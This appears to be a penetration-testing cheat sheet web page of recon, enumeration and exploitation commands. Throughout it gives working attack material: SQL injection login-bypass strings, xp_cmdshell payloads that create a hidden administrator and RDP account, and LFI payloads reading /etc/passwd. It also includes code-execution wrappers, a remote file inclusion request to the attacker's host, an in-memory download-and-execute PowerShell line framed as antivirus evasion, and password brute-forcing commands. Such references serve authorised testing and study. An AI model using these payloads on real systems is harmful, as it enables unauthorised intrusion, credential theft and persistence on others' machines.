Reconnaissance & enumeration
Enum, enum, enom, enomm, nom nomm!
Bash log
Log all commands and their output:
script target.logPort scanning
Nmap
nmap -A -sS -Pn -n x.x.x.xScan all UDP port without a retry
nmap -sU -p- --max-retries 0 --min-rate 500 x.x.x.xNc
nc -nvv -w 1 -z x.x.x.x 1-100PowerShell (in memory -> AV evasion)
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts x.x.x.x"Host enum
nikto -h x.x.x.xenum4linux x.x.x.xIs the target 32 or 64 bit? https://github.com/SecureAuthCorp/impacket/blob/master/examples/getArch.py
python getArch.py -target x.x.x.xDNS zone transfer
dig axfr domain.com @nameserverWeb fuzzing
Gobuster
gobuster -u x.x.x.x -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 20gobuster -u x.x.x.x -w /usr/share/seclists/Discovery/Web_Content/quickhits.txt -t 20gobuster -u x.x.x.x -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 20 -x .txt,.phpWfuzz
wfuzz -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 400,404,500 http://x.x.x.x/FUZZwfuzz -w /usr/share/seclists/Discovery/Web_Content/quickhits.txt --hc 400,404,500 http://x.x.x.x/FUZZSamba (SMB)
Do not underestimate this one ;)
smbclient -L x.x.x.xnmap --script=smb-check-vulns.nse x.x.x.xsmbmount //x.x.x.x/share /mnt –o username=hodor,workgroup=hodormount -t cifs //x.x.x.x/share /mntmount -t cifs -o username=hodor,password=hodor //x.x.x.x/share /mntsmbclient \\\\x.x.x.x\\shareAnonymous bind using rpcclient:
rpcclient -U "" x.x.x.xSNMP
Scan using the default community string:
snmpwalk -c public -v1 x.x.x.xDiscover valid usernames by brute force querying possible usernames against a Kerberos service (source: https://nmap.org/nsedoc/scripts/krb5-enum-users.html)
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='domain.local',userdb=/usr/share/wordlists/SecLists/Usernames/top_shortlist.txt x.x.x.xCMS
CMSmap
cmsmap.py https://x.x.x.xWPscan
wpscan --url https://x.x.x.xBruteforce login:
wpscan --url http://x.x.x.x --wordlist /usr/share/wordlists/SecLists/Passwords/best1050.txt --username admin --threads 10SQL injection
Test for authentication bypass
1' or '1'='1
1' or '1'='1'
1' or '1'='1'--
' or 1=1 --
a' or 1=1 --
" or 1=1 --
a" or 1=1 --
' or 1=1 #
" or 1=1 #
or 1=1 --
' or 'x'='x
" or "x"="x
') or ('x'='x
") or ("x"="xUse time delays to find injectable parameter
';WAITFOR DELAY '0:0:5'--
SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'If the above works try to enable xp_cmdshell (source: http://pentestmonkey.net/blog/resurecting-xp_cmdshell)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;xp_cmdshell - test ping
';exec master..xp_cmdshell 'ping -n 3 x.x.x.x'; --xp_cmdshell - add admin user
';exec master..xp_cmdshell 'net user hodor Qwerty123! /ADD && net localgroup administrators hodor /ADD'; --xp_cmdshell - add admin user and to RDP group
';exec master..xp_cmdshell 'net user hodor Qwerty123! /ADD && net localgroup administrators hodor /ADD && net localgroup "Remote Desktop Users" hodor /ADD'; --Local File Inclusion (LFI)
Basic checks
Linux
../../../../../../../../../../etc/passwd
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
../../../../../../../../../../etc/passwd%00
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%2500Windows
../../../../../../../../../../boot.ini
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
../../../../../../../../../../boot.ini%00
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%2500
../../../../../../../../../../windows/system32/drivers/etc/hosts
../../../../../../../../../../windows/system32/drivers/etc/hosts%00
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/system32/drivers/etc/hosts
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/system32/drivers/etc/hosts%2500Wordlists: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
LFI Wrappers
expect://
http://x.x.x.x/blah?parameter=expect://whoamidata://
http://x.x.x.x/blah?parameter=data://text/plain;base64,PD8gcGhwaW5mbygpOyA/Pg==
# the base64 encoded payload is: <? phpinfo(); ?>input://
http://x.x.x.x/blah?parameter=php://input
# POST data (using Hackbar)
<? phpinfo(); ?>LFI to RCE
Just check: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20inclusion#wrapper-data
Remote File Inclusion (RFI)
Example request (where "x.x.x.x" is your attacker's IP):
GET /supersecret/admin.php?path=http://x.x.x.x/phpinfo.php%00Check for egress filtering
In other words: find an outgoing port for a reverse shell. First start TCPdump at your own box
tcpdump -i eth0Run at target (where x.x.x.x is your attacking box)
nc -nvv -w 1 -z x.x.x.x 1-100Files and file systems
Unmounted file systems
cat /etc/fstabWorld writeable directories
find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v rootWorld writeable files
find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/nullWriteable config files
find /etc/ -writable -type f 2>/dev/nullLast updated
Was this helpful?